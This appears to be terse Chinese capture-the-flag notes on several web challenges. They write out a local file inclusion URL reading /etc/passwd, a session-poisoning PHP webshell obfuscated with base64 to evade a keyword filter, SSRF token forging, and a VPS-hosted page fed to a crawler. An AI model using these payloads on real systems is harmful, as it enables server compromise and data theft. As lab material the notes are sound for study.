读到session

http://127.0.0.1/admin/include123.php?u=/tmp/session_ef81f6c1aca58c2b24f9d63bf77dba07

http://127.0.0.1/admin/include123.php?u=/etc/passwd#<?php eval(base64_decode('c3lzdGVtKCcvZ2V0ZmxhZy5zaCcpOw=='));?>输入就可以写到session里面了

用#注释掉后面的一句话木马，不被访问，要的是这个路由，记录路由后，再换个浏览器的phpsession访问一下即可

ls发现了/getflag.sh 因为过滤了flag，base一下才行

flag{c2c15ff3-0341-49f0-9997-36b107b9cf3a}

第一次我注册的yenan/yenan，填写profile后观察url出现token1

第二次admin/admin，直接ssrf伪造/user/verify?token=token1

可以指定爬取

vps启动一个http

Python -m SimpleHTTPServer 11111

然后去访问 http://82.157.39.20:11111/escape.html#oss-cn-beijing.ichunqiu.com